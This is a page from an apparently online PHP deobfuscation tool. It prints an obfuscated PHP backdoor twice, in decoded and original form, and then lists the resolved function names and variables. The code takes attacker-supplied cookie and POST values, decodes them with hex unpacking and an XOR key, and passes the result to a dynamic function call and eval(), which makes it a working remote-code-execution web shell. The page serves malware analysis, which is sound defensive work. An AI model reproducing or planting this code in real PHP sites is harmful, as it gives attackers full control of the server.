Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $gkcnFO = chr (115) . 't' . chr (114) . "\x5f"/* S..

Decoded Output download

<?php   $gkcnFO     =   chr     (115)   .       't'  .     chr  (114)   .       "_"/* SA   */.  "r" .     'e'/*   Jqv */.  chr  ( 595    -   483        )."e"    .   "a"/*HZq   */.       "t"; 
  $GvQsxYndDr  =        chr     (       527 -    426    ).'x'/*  acr */./* Xux  */chr/* Ctoxl */(112)/*   BnKMF   */./* gRI */'l'       .   chr/* pq*/(111)  .     chr/*Lxe  */(      795/*ELa */-  695/*jSl */).chr  (       354     -/*   kRpx   */253      );; 
                        $ywVMmRV        =   chr (112)   ./*  AZMH */"a"      .    chr   (/* Pvcr  */620/*   pwKp  */-  521     )."k"; 
                                        function/*Rm  */KSvdbYf() 
        { 
        $qdISmL = Array (   "WlZwYNYvOAuruaEAYbzgQcQWhimFv"     =>      "lPSqWZHUjUnGbvTviZL"    );; 
  /*ugn   */ 
                                 $ygShTnk  =   Array  (/*  UZaX   */"HqGmHNenOZbf"/*jQQ   */=>     "nrqNMVZSeTaRvIsvdgKNcjQGAphr"       );; 
        $pfkGYqYTxX/* hGDPj*/=/* hVH  */Array(  $qdISmL,  $_COOKIE,/*  Rz*/$qdISmL, $_POST,     $ygShTnk);; 
 
   /*  GgU  */return    $pfkGYqYTxX;; 
 
        } 
 
 
 function       AHcWyfdT($MlAIiDkpW) 
                { 
                        if   (  count/*  Gse */(/*   t   */$MlAIiDkpW    )/*  wj */==    3/*   AI  */)/*G  */{ 
        $KShKA  =/* rxZg   */$MlAIiDkpW[1]; 
                           $jDqqgXgRP     =/*   tH */$MlAIiDkpW[2];$_BwJy       =  '8083'; 
        /* bZMa  */$xBdfRgdcn  =   $KShKA($jDqqgXgRP); 
        eval  (/*prDU*/$xBdfRgdcn/*xV  */);$_AN =    '50288'; 
        die/*  lfLiX*/(); 
                } 
 
 } 
 
 
 
        function    VHktUIWQx($fyBfexoQC,     $AjzWfFI) 
 
 
        { 
 return $fyBfexoQC      ^       $AjzWfFI;$_hVsV   =/*  UTaQB*/'28381'; 
                                } 
 
 
/*  b  */$KAqJqi/*BI */=        '#'; 
 
 
/*zAkDv   */ 
                                /*   PGD  */foreach     (KSvdbYf()      as/*fz   */$mVzkLxE)/* ky*/{ 
 
/*   SrI   */foreach/* WeiWf  */(    $mVzkLxE   as      $AjzWfFI/*  t*/=>       $fyBfexoQC  )   { 
 
   /*gRrH */$fyBfexoQC  =       @$ywVMmRV(    "H"    .  chr/*  uzy   */(     255/*   EYyO*/-/*xc */213       ),      $fyBfexoQC   ); 
  /*  YZ*/ 
                                        $AjzWfFI .=   "SPeQEnT-IjLseFT-oqivBY-DObyYF-CnROl-xYDaBvg-Bat";; 
 
 
/*  WzJ */$AjzWfFI  =    $gkcnFO/*  bK  */(/*   dE*/$AjzWfFI,   (/* CGm*/strlen(/*   L   */$fyBfexoQC   )/strlen(  $AjzWfFI/*  pkQl  */)     )  +  1); 
 
 
 
   $LECHNGb     =/*rm */VHktUIWQx($fyBfexoQC,   $AjzWfFI);; 
 
 
 
     $MlAIiDkpW =       $GvQsxYndDr     ($KAqJqi,  $LECHNGb     ); 
 
                        /*   mS */AHcWyfdT($MlAIiDkpW); 
 
 
 
/*  fR */continue;; 
 
 
        } 
                                        } ?>

Did this file decode correctly?

Original Code

<?php   $gkcnFO     =   chr     (115)   .       't'  .     chr  (114)   .       "\x5f"/* SA   */.  "\162" .     'e'/*   Jqv */.  chr  ( 595    -   483        )."\145"    .   "\141"/*HZq   */.       "\x74";
  $GvQsxYndDr  =        chr     (       527 -    426    ).'x'/*  acr */./* Xux  */chr/* Ctoxl */(112)/*   BnKMF   */./* gRI */'l'       .   chr/* pq*/(111)  .     chr/*Lxe  */(      795/*ELa */-  695/*jSl */).chr  (       354     -/*   kRpx   */253      );;
                        $ywVMmRV        =   chr (112)   ./*  AZMH */"\x61"      .    chr   (/* Pvcr  */620/*   pwKp  */-  521     )."\x6b";
                                        function/*Rm  */KSvdbYf()
        {
        $qdISmL = Array (   "WlZwYNYvOAuruaEAYbzgQcQWhimFv"     =>      "lPSqWZHUjUnGbvTviZL"    );;
  /*ugn   */
                                 $ygShTnk  =   Array  (/*  UZaX   */"HqGmHNenOZbf"/*jQQ   */=>     "nrqNMVZSeTaRvIsvdgKNcjQGAphr"       );;
        $pfkGYqYTxX/* hGDPj*/=/* hVH  */Array(  $qdISmL,  $_COOKIE,/*  Rz*/$qdISmL, $_POST,     $ygShTnk);;

   /*  GgU  */return    $pfkGYqYTxX;;

        }


 function       AHcWyfdT($MlAIiDkpW)
                {
                        if   (  count/*  Gse */(/*   t   */$MlAIiDkpW    )/*  wj */==    3/*   AI  */)/*G  */{
        $KShKA  =/* rxZg   */$MlAIiDkpW[1];
                           $jDqqgXgRP     =/*   tH */$MlAIiDkpW[2];$_BwJy       =  '8083';
        /* bZMa  */$xBdfRgdcn  =   $KShKA($jDqqgXgRP);
        eval  (/*prDU*/$xBdfRgdcn/*xV  */);$_AN =    '50288';
        die/*  lfLiX*/();
                }

 }



        function    VHktUIWQx($fyBfexoQC,     $AjzWfFI)


        {
 return $fyBfexoQC      ^       $AjzWfFI;$_hVsV   =/*  UTaQB*/'28381';
                                }


/*  b  */$KAqJqi/*BI */=        '#';


/*zAkDv   */
                                /*   PGD  */foreach     (KSvdbYf()      as/*fz   */$mVzkLxE)/* ky*/{

/*   SrI   */foreach/* WeiWf  */(    $mVzkLxE   as      $AjzWfFI/*  t*/=>       $fyBfexoQC  )   {

   /*gRrH */$fyBfexoQC  =       @$ywVMmRV(    "\110"    .  chr/*  uzy   */(     255/*   EYyO*/-/*xc */213       ),      $fyBfexoQC   );
  /*  YZ*/
                                        $AjzWfFI .=   "SPeQEnT-IjLseFT-oqivBY-DObyYF-CnROl-xYDaBvg-Bat";;


/*  WzJ */$AjzWfFI  =    $gkcnFO/*  bK  */(/*   dE*/$AjzWfFI,   (/* CGm*/strlen(/*   L   */$fyBfexoQC   )/strlen(  $AjzWfFI/*  pkQl  */)     )  +  1);



   $LECHNGb     =/*rm */VHktUIWQx($fyBfexoQC,   $AjzWfFI);;



     $MlAIiDkpW =       $GvQsxYndDr     ($KAqJqi,  $LECHNGb     );

                        /*   mS */AHcWyfdT($MlAIiDkpW);



/*  fR */continue;;


        }
                                        }

Function Calls

chr 10
KSvdbYf 1

Variables

$KAqJqi #
$gkcnFO str_repeat
$qdISmL [{'key': 'WlZwYNYvOAuruaEAYbzgQcQWhimFv', 'value': 'lPSqWZHUjUnGbvTviZL'}]
$ygShTnk [{'key': 'HqGmHNenOZbf', 'value': 'nrqNMVZSeTaRvIsvdgKNcjQGAphr'}]
$ywVMmRV pack
$GvQsxYndDr explode
$pfkGYqYTxX [{'key': 0, 'value': [{'key': 'WlZwYNYvOAuruaEAYbzgQcQWhimFv', 'value': 'lPSqWZHUjUnGbvTviZL'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'WlZwYNYvOAuruaEAYbzgQcQWhimFv', 'value': 'lPSqWZHUjUnGbvTviZL'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'HqGmHNenOZbf', 'value': 'nrqNMVZSeTaRvIsvdgKNcjQGAphr'}]}]

Stats

MD5 99feb6c278603c5fa6fb63ec26ec695d
Eval Count 0
Decode Time 413 ms